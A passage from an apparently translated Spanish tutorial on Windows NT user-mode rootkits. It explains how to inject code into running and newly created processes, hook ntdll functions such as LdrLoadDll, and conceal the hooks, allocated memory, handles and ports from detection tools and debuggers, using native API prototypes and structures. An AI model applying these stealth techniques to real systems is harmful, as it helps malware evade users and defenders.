MEM_COMMIT&lt;br /&gt;porque asi la memoria sera reservada en la posicion mas alta posible.&lt;br /&gt;&lt;br /&gt; #define MEM_COMMIT 0x00001000&lt;br /&gt; #define MEM_TOP_DOWN 0x00100000 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Ahora ya podemos escribir nuestro codigo con NtWriteVirtualMemory.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtWriteVirtualMemory(&lt;br /&gt;  IN HANDLE ProcessHandle,&lt;br /&gt;  IN PVOID BaseAddress,&lt;br /&gt;  IN PVOID Buffer,&lt;br /&gt;  IN ULONG BufferLength,&lt;br /&gt;  OUT PULONG ReturnLength OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; BaseAddress sera la direccion devuelta por NtAllocateVirtualMemory.&lt;br /&gt;El buffer apunta a los bytes que queremos escribir, y BufferLength es el&lt;br /&gt;numero de bytes que queremos escribir.&lt;br /&gt;&lt;br /&gt; Ahora tenemos que poner ganchos a funciones sueltas. La unica libreria&lt;br /&gt;que es cargada independientemente por todos los procesos es ntdll.dll. Asi&lt;br /&gt;pues tendremos que comprobar si la funcion que queremos ganchear es importada&lt;br /&gt;o no desde ntdll.dll. Pero la mempria donde estaria esta funcion podria&lt;br /&gt;estar reservada , asique reescribir bytes en su direccion podria provocar un&lt;br /&gt;error en el proceso. Es por esto por lo que tenemos que comprobar si la&lt;br /&gt;libreria (donde esta la funcion que queremos ganchear) esta cargada en&lt;br /&gt;el proceso&lt;br /&gt;victima o no.&lt;br /&gt;&lt;br /&gt; Necesitamos obtener el PEB (Process Environment Block, Bloque&lt;br /&gt;de entorno de proceso) mediante NtQueryInformationProcess.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; NTSTATUS NtQueryInformationProcess(&lt;br /&gt;  IN HANDLE ProcessHandle,&lt;br /&gt;  IN PROCESSINFOCLASS ProcessInformationClass,&lt;br /&gt;  OUT PVOID ProcessInformation,&lt;br /&gt;  IN ULONG ProcessInformationLength,&lt;br /&gt;  OUT PULONG ReturnLength OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; Pondremos ProcessInfromationClass a ProcessBasicInformation. Entonces&lt;br /&gt;la estructura PROCESS_BASIC_INFORMATION seria devuelta en el buffer&lt;br /&gt;ProcessInformation, cuyo tamaño es dado por ProcessInformationLength.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; #define ProcessBasicInformation 0&lt;br /&gt;&lt;br /&gt; typedef struct _PROCESS_BASIC_INFORMATION {&lt;br /&gt;  NTSTATUS ExitStatus;&lt;br /&gt;  PPEB PebBaseAddress;&lt;br /&gt;  KAFFINITY AffinityMask;&lt;br /&gt;  KPRIORITY BasePriority;&lt;br /&gt;  ULONG UniqueProcessId;&lt;br /&gt;  ULONG InheritedFromUniqueProcessId;&lt;br /&gt; } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;&lt;br /&gt;&lt;br /&gt; PebBaseAddress es lo que estamos buscando. En PebBaseAddress+0x0C esta&lt;br /&gt;la direccion PPEB_LDR_DATA. Esto se obtiene llamando a NtReadVirtualMemory.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtReadVirtualMemory(&lt;br /&gt;  IN HANDLE ProcessHandle,&lt;br /&gt;  IN PVOID BaseAddress,&lt;br /&gt;  OUT PVOID Buffer,&lt;br /&gt;  IN ULONG BufferLength,&lt;br /&gt;  OUT PULONG ReturnLength OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; Los parametros son igual que en NtWriteVirtualMemory.&lt;br /&gt; En PPEB_LDR_DATA+0x1C esta la direccion de&lt;br /&gt;InInitializationOrderModuleList. Es la lista de librerias cargadas al proceso.&lt;br /&gt;Nos interesa solo una parte de esta estructura.&lt;br /&gt;&lt;br /&gt; typedef struct _IN_INITIALIZATION_ORDER_MODULE_LIST {&lt;br /&gt;  PVOID Next,&lt;br /&gt;  PVOID Prev,&lt;br /&gt;  DWORD ImageBase,&lt;br /&gt;  DWORD ImageEntry,&lt;br /&gt;  DWORD ImageSize,&lt;br /&gt;  ...&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; Next es un puntero al siguiente registro, Prev al anterior, el ultimo&lt;br /&gt;registro apunta al primero. ImageBase es la direccion del modulo en la memoria,&lt;br /&gt;ImageEntry es el EntryPoint del modulo, ImageSize el tamaño.&lt;br /&gt; &lt;br /&gt; Para todas las librerias que queremos enganchar tenemos que obtener&lt;br /&gt;su ImageBase (por ejemplo usando GetModuleHandle or LoadLibrary). Esta&lt;br /&gt;ImageBase la comparamos con ImagaBase de cada entrada en&lt;br /&gt;InInitializationOrderModuleList.&lt;br /&gt; Ahora estamos listos para enganchar. Como estamos enganchando procesos&lt;br /&gt;en ejecucion cabe la posibilidad de que el codido que queremos reescribir&lt;br /&gt;estuviera en ejecucion en ese momento. Esto causariaa un error, asique primero&lt;br /&gt;detendremos todos los hilos del proceso victima. La lista de sus hilos se&lt;br /&gt;obtiene via NtQuerySystemInformation con SystemProcessesAndThreadsInformation&lt;br /&gt;como SystemInformationClass. El resultado de esta funcion esta descrito en&lt;br /&gt;el capitulo 4. Pero tenemos que añadir la descripcion de la estructura&lt;br /&gt;SYSTEM_THREADS donde esta la informacion sobre el hilo.&lt;br /&gt;&lt;br /&gt; typedef struct _SYSTEM_THREADS {&lt;br /&gt;  LARGE_INTEGER KernelTime;&lt;br /&gt;  LARGE_INTEGER UserTime;&lt;br /&gt;  LARGE_INTEGER CreateTime;&lt;br /&gt;  ULONG WaitTime;&lt;br /&gt;  PVOID StartAddress;&lt;br /&gt;  CLIENT_ID ClientId;&lt;br /&gt;  KPRIORITY Priority;&lt;br /&gt;  KPRIORITY BasePriority;&lt;br /&gt;  ULONG ContextSwitchCount;&lt;br /&gt;  THREAD_STATE State;&lt;br /&gt;  KWAIT_REASON WaitReason;&lt;br /&gt; } SYSTEM_THREADS, *PSYSTEM_THREADS;&lt;br /&gt;&lt;br /&gt; Para cada hilo tenemos que conseguir su handle usando NtOpenThread.&lt;br /&gt;Usaremos ClientId para ello.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtOpenThread(&lt;br /&gt;  OUT PHANDLE ThreadHandle,&lt;br /&gt;  IN ACCESS_MASK DesiredAccess,&lt;br /&gt;  IN POBJECT_ATTRIBUTES ObjectAttributes,&lt;br /&gt;  IN PCLIENT_ID ClientId&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt;El handle que queremos sera almacenado en ThreadHandle. Ponemos&lt;br /&gt;DesiredAccess a THREAD_SUSPEND_RESUME.&lt;br /&gt;&lt;br /&gt; #define THREAD_SUSPEND_RESUME 2&lt;br /&gt;&lt;br /&gt; ThreadHandle will be used for calling NtSuspendThread.&lt;br /&gt; ThreadHandle sera usado al llamar a NtSuspendThread.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtSuspendThread(&lt;br /&gt;  IN HANDLE ThreadHandle,&lt;br /&gt;  OUT PULONG PreviousSuspendCount OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; El proceso suspendido esta listo para reescribir. Procederemos&lt;br /&gt;como esta explicado en el capitulo 3.2.2 en Hooking Windows API". La&lt;br /&gt;unica diferencia es que usaremos funciones para otros procesos.&lt;br /&gt;&lt;br /&gt; Despues de un gancho reviviremos todos los hilos del proceso&lt;br /&gt;mediante NtResumeThread.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtResumeThread(&lt;br /&gt;  IN HANDLE ThreadHandle,&lt;br /&gt;  OUT PULONG PreviousSuspendCount OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 7.3 Nuevos procesos ]====================================================&lt;br /&gt;&lt;br /&gt; La infeccion de todos los procesos en ejecucion no afecta a los&lt;br /&gt;procesos que se ejecuten despues. Podriamos obtener la lista de procesos&lt;br /&gt;y al cabo de un rato volver a obtenerla e infectar aquellos que no estuvieran&lt;br /&gt;en la primera lista pues serian los nuevos. Pero este metodo no parece muy&lt;br /&gt;fiable.&lt;br /&gt; Es mucho mejor enganchar la funcion que se llama para crear un nuevo&lt;br /&gt;proceso. Con este metodo no perdemos ningun nuevo proceso. Podemos enganchar&lt;br /&gt;NtCreateThread, pero no es la mejor forma. Engancharemos NtResumeThread que&lt;br /&gt;tambien es llamado cada vez que un proceso se crea. Se le llama despues de&lt;br /&gt;NtCreateThread.&lt;br /&gt; El unico problema con NtResumeThread es que no solo se llama cuando&lt;br /&gt;comienza un proceso nuevo. Pero esto se puede superar con facilidad.&lt;br /&gt;NtQueryInformationThread nos dara informacion sobre que procesos posee&lt;br /&gt;el hilo especifico. La ultima cosa que nos queda por hacer es comprobar si&lt;br /&gt;el proceso ya esta enganchado o no. Esto lo hacemos leyendo el primer byte&lt;br /&gt;de cualquier funcion que enganchemos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; NTSTATUS NtQueryInformationThread(&lt;br /&gt;  IN HANDLE ThreadHandle,&lt;br /&gt;  IN THREADINFOCLASS ThreadInformationClass,&lt;br /&gt;  OUT PVOID ThreadInformation,&lt;br /&gt;  IN ULONG ThreadInformationLength,&lt;br /&gt;  OUT PULONG ReturnLength OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; ThreadInformationClass es el tipo de informacion y en nuestro caso&lt;br /&gt;deberia ser puesta a ThreadBasicInformation. ThreadInformation es el buffer&lt;br /&gt;para el resultado cuyo tamaño es ThreadInformationLength bytes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; #define ThreadBasicInformation 0&lt;br /&gt;&lt;br /&gt; Para el tipo ThreadBasicInformation se devuelve esta estructura:&lt;br /&gt;&lt;br /&gt; typedef struct _THREAD_BASIC_INFORMATION {&lt;br /&gt;  NTSTATUS ExitStatus;&lt;br /&gt;  PNT_TIB TebBaseAddress;&lt;br /&gt;  CLIENT_ID ClientId;&lt;br /&gt;  KAFFINITY AffinityMask;&lt;br /&gt;  KPRIORITY Priority;&lt;br /&gt;  KPRIORITY BasePriority;&lt;br /&gt; } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;&lt;br /&gt;&lt;br /&gt; En ClientId esta el PID del proceso que posee el hilo.&lt;br /&gt;&lt;br /&gt; Ahora tenemos que infectar el nuevo proceso. El problema es que&lt;br /&gt;el nuevo proceso solo tiene en memoria ntdll.dll. Todos los otros modulos&lt;br /&gt;son cargados inmediatamente despues de llamar NtResumeThread. Hay varias&lt;br /&gt;formas de solventar este problema. Por ejemplo, podemos enganchar la API&lt;br /&gt;LdrInitializeThunk que es llamada durante el inicio del proceso.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; NTSTATUS LdrInitializeThunk(&lt;br /&gt;  DWORD Unknown1,&lt;br /&gt;  DWORD Unknown2,&lt;br /&gt;  DWORD Unknown3&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; Al principio ejecutaremos el codigo original y entonces engancharemos&lt;br /&gt;las funciones que queramos en este nuevo proceso. Pero es mejor que&lt;br /&gt;desenganchemos LdrInitializeThunk porque es llamado muchas veces despues y no&lt;br /&gt;queremos reenganchar todas las funciones otra vez. Aqui todo se hace antes de&lt;br /&gt;la ejecucion de la primera instruccion de la aplicacion enganchada. Por eso es&lt;br /&gt;por lo que no tiene posibilidad de llamar ninguna funcion enganchada antes de&lt;br /&gt;que nosotros la enganchemos.&lt;br /&gt;&lt;br /&gt; Los ganchos en si son igual que cuando enganchamos procesos&lt;br /&gt;en ejecucion solo que aqui no nos preocupamos de hilos en ejecucion.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 7.4 DLL ]================================================================&lt;br /&gt;&lt;br /&gt; En cada proceso del sistema hay una copia de ntdll.dll. Esto significa&lt;br /&gt;que podemos enganchar cualquier funcion de este modulo en el proceso desde&lt;br /&gt;un primer momento. ¿Pero que pasa con funciones de otros modulos como&lt;br /&gt;la kernel32.dll o advapi32.dll? Y hay varios procesos que solo tienen la&lt;br /&gt;ntdll.dll. Todos los demas modulos podrian ser cargados dinamicamente en mitad&lt;br /&gt;del codigo despues del gancho. Lo que tenemos que hacer entonces es enganchar&lt;br /&gt;LdrLoadDll que carga nuevos modulos.&lt;br /&gt; &lt;br /&gt; NTSTATUS LdrLoadDll(&lt;br /&gt;  PWSTR szcwPath,&lt;br /&gt;  PDWORD pdwLdrErr,     &lt;br /&gt;  PUNICODE_STRING pUniModuleName,&lt;br /&gt;  PHINSTANCE pResultInstance&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; Lo mas importante para nosotros aqui es pUniModuleName que es el nombre&lt;br /&gt;del modulo. pResultInstance contendra su direccion si la llamada tiene&lt;br /&gt;exito.&lt;br /&gt; Llamaremos al LdrLoadDll original y entonces engancharemos todas las&lt;br /&gt;funciones del modulo cargado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 8. Memoria ]=============================================================&lt;br /&gt;&lt;br /&gt; Cuando enganchamos una funciones modificamos sus 5 primeros bytes.&lt;br /&gt;Llamando a NtReadVirtualMemory cualquiera puede detectar si una funcion&lt;br /&gt;ha sufrido un gancho. Asique tenemos que enganchar NtReadVirtualMemory&lt;br /&gt;para prevenir la deteccion.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtReadVirtualMemory(&lt;br /&gt;  IN HANDLE ProcessHandle,&lt;br /&gt;  IN PVOID BaseAddress,&lt;br /&gt;  OUT PVOID Buffer,&lt;br /&gt;  IN ULONG BufferLength,&lt;br /&gt;  OUT PULONG ReturnLength OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; Hemos cambiado bytes en el comienzo de todas las funciones que&lt;br /&gt;enganchamos y tenemos tambien memoria reservada para nuestro nuevo&lt;br /&gt;codigo. Deberiamos comprobar si la llamada lee alguno de estos bytes. Si&lt;br /&gt;tenemos nuestros bytes en el rango de BaseAddress a BaseAddress + BufferLength&lt;br /&gt;tenemos que camviar algunos bytes en Buffer.&lt;br /&gt; Si alguien pide bytes de nuestra zona reservada deberiamos retornar&lt;br /&gt;Buffer vacio y un error STATUS_PARTIAL_COPY. Este valor dice que no se copiaron&lt;br /&gt;todos los bytes pedidos en el buffer. Tambien se usa cuando pedimos memoria&lt;br /&gt;no reservada. ReturnLength deberia ser puesto a 0 en este caso.&lt;br /&gt;&lt;br /&gt; #define STATUS_PARTIAL_COPY 0x8000000D&lt;br /&gt;&lt;br /&gt;Si alguien pide los primeros bytes de una funcion enganchada tenemos que&lt;br /&gt;llamar al codigo original y copiar lo bytes originales al Buffer (los hemos&lt;br /&gt;salvado papra llamadas originales).&lt;br /&gt; &lt;br /&gt; Ahora el proceso no es capaz de detectar un gancho leyendo su memoria.&lt;br /&gt;Tambien si trazas el proceso enganchado con un debugger este tendria problemas.&lt;br /&gt;Mostrara los bytes originales pero ejecutara nuestro codigo :D&lt;br /&gt;&lt;br /&gt; Para conseguir un aocultacion perfecta tambien podemos enganchar&lt;br /&gt;NtQueryVirtualMemory. Esta funcion es usada para obtener informacion&lt;br /&gt;sobre memoria virtual. Podemos engancharla para prevenir detectar nuestra&lt;br /&gt;memoria reservada.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtQueryVirtualMemory(&lt;br /&gt;  IN HANDLE ProcessHandle,&lt;br /&gt;  IN PVOID BaseAddress,&lt;br /&gt;  IN MEMORY_INFORMATION_CLASS MemoryInformationClass,&lt;br /&gt;  OUT PVOID MemoryInformation,&lt;br /&gt;  IN ULONG MemoryInformationLength,&lt;br /&gt;  OUT PULONG ReturnLength OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; MemoryInformationClass especifica la clase de datos devueltos.&lt;br /&gt;Los primeros dos tipos nos interesan.&lt;br /&gt;&lt;br /&gt; #define MemoryBasicInformation 0&lt;br /&gt; #define MemoryWorkingSetList 1&lt;br /&gt;&lt;br /&gt; Para la clase MemoryBasicInformation se devuelve esta estructura:&lt;br /&gt;&lt;br /&gt; typedef struct _MEMORY_BASIC_INFORMATION {&lt;br /&gt;  PVOID BaseAddress;&lt;br /&gt;  PVOID AllocationBase;&lt;br /&gt;  ULONG AllocationProtect;&lt;br /&gt;  ULONG RegionSize;&lt;br /&gt;  ULONG State;&lt;br /&gt;  ULONG Protect;&lt;br /&gt;  ULONG Type;&lt;br /&gt; } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;&lt;br /&gt;&lt;br /&gt; Cada seccion de memoria tiene su tamaño RegionSize y su tipo Type.&lt;br /&gt;La memoria libre es del tipo MEM_FREE.&lt;br /&gt;&lt;br /&gt; #define MEM_FREE 0x10000&lt;br /&gt;&lt;br /&gt; Si una seccion antes de la nuestra tiene tipo MEM_FREE deberiamos&lt;br /&gt;añadir el tamaño de nuestra seccion a su RegionSize. Si la siguiente seccion es&lt;br /&gt;tambien MEM_FREE deberiamos añadir al tamaño de la siguiente seccion otra&lt;br /&gt;vez la RegionSize.&lt;br /&gt; Si una seccion antes de la nuestra tiene otro tipo devolvemos MEM_FREE&lt;br /&gt;para nuestra seccion. Su tamaño es contado otra vez de acuerdo a la seccion&lt;br /&gt;consiguiente.&lt;br /&gt;&lt;br /&gt; Para la clase MemoryWorkingSetList se devuelve la estructura:&lt;br /&gt;&lt;br /&gt; typedef struct _MEMORY_WORKING_SET_LIST {&lt;br /&gt;  ULONG NumberOfPages;&lt;br /&gt;  ULONG WorkingSetList[1];&lt;br /&gt; } MEMORY_WORKING_SET_LIST, *PMEMORY_WORKING_SET_LIST;&lt;br /&gt;&lt;br /&gt; NumberOfPages es el numero de elementos de WorkingSetList. Este&lt;br /&gt;numero deberia ser decrementado. Deberiamos encontrar nuestra seccion en&lt;br /&gt;WorkingSetList y mover los registros siguientes sobre los nuestros.&lt;br /&gt;WorkingSetList es un array de DWORDs donde los 20 bits de mayor peso&lt;br /&gt;especifican los 20 bits mas altos de la direccion de la seccion y los 12&lt;br /&gt;de menor peso son flags.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 9. Handle ]==============================================================&lt;br /&gt;&lt;br /&gt; Llamar NtQuerySystemInformation con SystemHandleInformation como clase&lt;br /&gt;nos devuelve un vector de todos los handles abiertos en la estructura&lt;br /&gt;_SYSTEM_HANDLE_INFORMATION_EX.&lt;br /&gt;&lt;br /&gt; #define SystemHandleInformation 0x10&lt;br /&gt;&lt;br /&gt; typedef struct _SYSTEM_HANDLE_INFORMATION {&lt;br /&gt;  ULONG ProcessId;&lt;br /&gt;  UCHAR ObjectTypeNumber;&lt;br /&gt;  UCHAR Flags;&lt;br /&gt;  USHORT Handle;&lt;br /&gt;  PVOID Object;&lt;br /&gt;  ACCESS_MASK GrantedAccess;&lt;br /&gt; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;&lt;br /&gt;&lt;br /&gt; typedef struct _SYSTEM_HANDLE_INFORMATION_EX {&lt;br /&gt;  ULONG NumberOfHandles;&lt;br /&gt;  SYSTEM_HANDLE_INFORMATION Information[1];&lt;br /&gt; } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;&lt;br /&gt;&lt;br /&gt; ProcessId especifica el proceso que posee al handle. ObjectTypeNumber&lt;br /&gt;es el tipo del handle. NumberOfHandles es el numero de registros en el vector&lt;br /&gt;Information. Esconder un elemento es trivial. Tenemos que remover todos los&lt;br /&gt;registros siguientes uno por uno y decrementar NumberOfHandles. Borrar&lt;br /&gt;todos los siguientes es necesario porque los handles en el array estan&lt;br /&gt;agrupados por ProcessId. Esto significa que todos los handles de un mismo&lt;br /&gt;proceso estan juntos. Y para un proceso el numero de Handle es creciente.&lt;br /&gt; Ahora recuerda la estructura _SYSTEM_PROCESSES  que es devuelta&lt;br /&gt;por esta funcion con clase SystemProcessesAndThreadsInformation. Aqui podemos&lt;br /&gt;ver que cada proceso tiene informacion sobre su numero de handles en&lt;br /&gt;HandleCount.&lt;br /&gt;Si queremos perfeccion deberiamos modificar HandleCount con cuantos handles&lt;br /&gt;ocultemos cuando se llame a esta funcion con clase&lt;br /&gt;SystemProcessesAndThreadsInformation. Pero esta correcion consumiria mucho&lt;br /&gt;tiempo. Normalmente hay muchos handles abriendose y cerrandose en espacios de&lt;br /&gt;tiempo muy cortos durante la ejecucion del sistema. Asique puede ocurrir&lt;br /&gt;facilmente que el numero de handles cambie entre dos llamadas de esta funcion&lt;br /&gt;y no necesitemos cambiar HandleCount.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 9.1 Nombrando handles y obteniendo su tipo ]=============================&lt;br /&gt;&lt;br /&gt; Ocultar un handle es trivial pero encontrar que handle hay que esconder&lt;br /&gt;es mucho mas complicado. Si tenemos por ejemplo un proceso oculto deberiamos&lt;br /&gt;esconder todos sus handles y todos los handles con los que esta conectado.&lt;br /&gt;Esconder handles de este proceso es tambien trivial. Solo estamos comparando&lt;br /&gt;el processId del handle y el PID de nuestros procesos y cuando son iguales los&lt;br /&gt;ocultamos. pero los handles de otros procesos tienen que ser nombrados antes&lt;br /&gt;de que podamos comparar algo. El numero de handles en el sistema es usualmente&lt;br /&gt;muy grande, asi que lo mejor que podemos hacer es comparar el tiipo de handle&lt;br /&gt;primero anttes de intentar nombrarlo. Nombrar tipos llevar mucho tiempo para&lt;br /&gt;handles que no nos interesarian.&lt;br /&gt; Nombrar un handle y tipo de handle se hace via NtQueryObject.&lt;br /&gt;&lt;br /&gt; NTSTATUS ZwQueryObject(&lt;br /&gt;  IN HANDLE ObjectHandle,&lt;br /&gt;  IN OBJECT_INFORMATION_CLASS ObjectInformationClass,&lt;br /&gt;  OUT PVOID ObjectInformation,&lt;br /&gt;  IN ULONG ObjectInformationLength,&lt;br /&gt;  OUT PULONG ReturnLength OPTIONAL&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; ObjectHandle el handle del que queremos obtener informacion.&lt;br /&gt; ObjectInformationClass es el tipo de informacion que sera almacenada&lt;br /&gt;en el buffer ObjectInformation que ocupa ObjectInformation bytes.&lt;br /&gt; Usamos la clase ObjectNameInformation y ObjectAllTypesInformation.&lt;br /&gt; We will use class ObjectNameInformation and ObjectAllTypesInformation.&lt;br /&gt;ObjectNameInfromation llenara el buffer con la estructura&lt;br /&gt;OBJECT_NAME_INFORMATION y ObjectAllTypesInformation con la estructura&lt;br /&gt;OBJECT_ALL_TYPES_INFORMATION.&lt;br /&gt;&lt;br /&gt; #define ObjectNameInformation 1&lt;br /&gt; #define ObjectAllTypesInformation 3&lt;br /&gt;&lt;br /&gt; typedef struct _OBJECT_NAME_INFORMATION {&lt;br /&gt;  UNICODE_STRING Name;&lt;br /&gt; } OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;&lt;br /&gt;&lt;br /&gt; Name determina el nombre del handle.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; typedef struct _OBJECT_TYPE_INFORMATION {&lt;br /&gt;  UNICODE_STRING Name;&lt;br /&gt;  ULONG ObjectCount;&lt;br /&gt;  ULONG HandleCount;&lt;br /&gt;  ULONG Reserved1[4];&lt;br /&gt;  ULONG PeakObjectCount;&lt;br /&gt;  ULONG PeakHandleCount;&lt;br /&gt;  ULONG Reserved2[4];&lt;br /&gt;  ULONG InvalidAttributes;&lt;br /&gt;  GENERIC_MAPPING GenericMapping;&lt;br /&gt;  ULONG ValidAccess;&lt;br /&gt;  UCHAR Unknown;&lt;br /&gt;  BOOLEAN MaintainHandleDatabase;&lt;br /&gt;  POOL_TYPE PoolType;&lt;br /&gt;  ULONG PagedPoolUsage;&lt;br /&gt;  ULONG NonPagedPoolUsage;&lt;br /&gt; } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;&lt;br /&gt;&lt;br /&gt; typedef struct _OBJECT_ALL_TYPES_INFORMATION {&lt;br /&gt;  ULONG NumberOfTypes;&lt;br /&gt;  OBJECT_TYPE_INFORMATION TypeInformation;&lt;br /&gt; } OBJECT_ALL_TYPES_INFORMATION, *POBJECT_ALL_TYPES_INFORMATION;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Name determina el nombre del tipo del objeto que inmediatamente&lt;br /&gt;sigue cada estructura OBJECT_TYPE_INFORMATION. La siguiente estructura&lt;br /&gt;OBJECT_TYPE_INFORMATION sigue a este Name, comenzando en el limite de los&lt;br /&gt;cuatro primeros bytes.&lt;br /&gt;&lt;br /&gt; ObjectTypeNumber de la estructura SYSTEM_HANDLE_INFORMATION es un&lt;br /&gt;indice del array TypeInformation.&lt;br /&gt;&lt;br /&gt; Mas complicado es obtener el nombre del handle de otro proceso. Hay&lt;br /&gt;dos posibilidades de como nombrarlas. La primera es copiar el handle via&lt;br /&gt;NtDuplicateObject a nuestro proceso y entonces nombrarlas. Este metodo&lt;br /&gt;fallara para unos tipos especificos de handles. Pero fallara solo para unos&lt;br /&gt;pocos asique podemos usar tranquilos este metodo.&lt;br /&gt;&lt;br /&gt; NtDuplicateObject(&lt;br /&gt;  IN HANDLE SourceProcessHandle,&lt;br /&gt;  IN HANDLE SourceHandle,&lt;br /&gt;  IN HANDLE TargetProcessHandle,&lt;br /&gt;  OUT PHANDLE TargetHandle OPTIONAL,&lt;br /&gt;  IN ACCESS_MASK DesiredAccess,&lt;br /&gt;  IN ULONG Attributes,&lt;br /&gt;  IN ULONG Options&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; SourceProcessHandle es un handle del proceso que posee a SourceHandle&lt;br /&gt;que es el handle que queremos copiar. TargetProcessHandle es el handle del&lt;br /&gt;proceso a copiar. Este sera el handle de nuestro proceso en nuestro caso.&lt;br /&gt;TargetHandle es el puntero al handle donde queremos guardar una copia del&lt;br /&gt;handle original. DesiredAccess deberia ser puesto a PROCESS_QUERY_INFORMATION,&lt;br /&gt;Attributes y Options a 0.&lt;br /&gt;&lt;br /&gt; El segundo metodo que funciona con cualquier handle es usar un driver&lt;br /&gt;de sistema. El codigo fuente para esto esta disponible en el proyecto OpHandle&lt;br /&gt;en http://rootkit.host.sk.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 10. Puertos ]============================================================&lt;br /&gt;&lt;br /&gt; La manera mas facil de enumerar los puertos abiertos es usar&lt;br /&gt;AllocateAndGetTcpTableFromStack y AllocateAndGetUdpTableFromStack, y/o&lt;br /&gt;AllocateAndGetTcpExTableFromStack y AllocateAndGetUdpExTableFromStack de&lt;br /&gt;iphlpapi.dll. Las funciones Ex estan disponibles desde Windows XP.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; typedef struct _MIB_TCPROW {&lt;br /&gt;  DWORD dwState;&lt;br /&gt;  DWORD dwLocalAddr;&lt;br /&gt;  DWORD dwLocalPort;&lt;br /&gt;  DWORD dwRemoteAddr;&lt;br /&gt;  DWORD dwRemotePort;&lt;br /&gt; } MIB_TCPROW, *PMIB_TCPROW;&lt;br /&gt;&lt;br /&gt; typedef struct _MIB_TCPTABLE {&lt;br /&gt;  DWORD dwNumEntries;&lt;br /&gt;  MIB_TCPROW table[ANY_SIZE];&lt;br /&gt; } MIB_TCPTABLE, *PMIB_TCPTABLE;&lt;br /&gt;&lt;br /&gt; typedef struct _MIB_UDPROW {&lt;br /&gt;  DWORD dwLocalAddr;&lt;br /&gt;  DWORD dwLocalPort;&lt;br /&gt; } MIB_UDPROW, *PMIB_UDPROW;&lt;br /&gt;&lt;br /&gt; typedef struct _MIB_UDPTABLE {&lt;br /&gt;  DWORD dwNumEntries;&lt;br /&gt;  MIB_UDPROW table[ANY_SIZE];&lt;br /&gt; } MIB_UDPTABLE, *PMIB_UDPTABLE;&lt;br /&gt;&lt;br /&gt; typedef struct _MIB_TCPROW_EX&lt;br /&gt; {&lt;br /&gt;  DWORD dwState;&lt;br /&gt;  DWORD dwLocalAddr;&lt;br /&gt;  DWORD dwLocalPort;&lt;br /&gt;  DWORD dwRemoteAddr;&lt;br /&gt;  DWORD dwRemotePort;&lt;br /&gt;  DWORD dwProcessId;&lt;br /&gt; } MIB_TCPROW_EX, *PMIB_TCPROW_EX;&lt;br /&gt;&lt;br /&gt; typedef struct _MIB_TCPTABLE_EX&lt;br /&gt; {&lt;br /&gt;  DWORD dwNumEntries;&lt;br /&gt;  MIB_TCPROW_EX table[ANY_SIZE];&lt;br /&gt; } MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;&lt;br /&gt;&lt;br /&gt; typedef struct _MIB_UDPROW_EX&lt;br /&gt; {&lt;br /&gt;  DWORD dwLocalAddr;&lt;br /&gt;  DWORD dwLocalPort;&lt;br /&gt;  DWORD dwProcessId;&lt;br /&gt; } MIB_UDPROW_EX, *PMIB_UDPROW_EX;&lt;br /&gt;&lt;br /&gt; typedef struct _MIB_UDPTABLE_EX&lt;br /&gt; {&lt;br /&gt;  DWORD dwNumEntries;&lt;br /&gt;  MIB_UDPROW_EX table[ANY_SIZE];&lt;br /&gt; } MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;&lt;br /&gt;&lt;br /&gt; DWORD WINAPI AllocateAndGetTcpTableFromStack(&lt;br /&gt;  OUT PMIB_TCPTABLE *pTcpTable,&lt;br /&gt;  IN BOOL bOrder,&lt;br /&gt;  IN HANDLE hAllocHeap,&lt;br /&gt;  IN DWORD dwAllocFlags,&lt;br /&gt;  IN DWORD dwProtocolVersion;&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt; DWORD WINAPI AllocateAndGetUdpTableFromStack(&lt;br /&gt;  OUT PMIB_UDPTABLE *pUdpTable,&lt;br /&gt;  IN BOOL bOrder,&lt;br /&gt;  IN HANDLE hAllocHeap,&lt;br /&gt;  IN DWORD dwAllocFlags,&lt;br 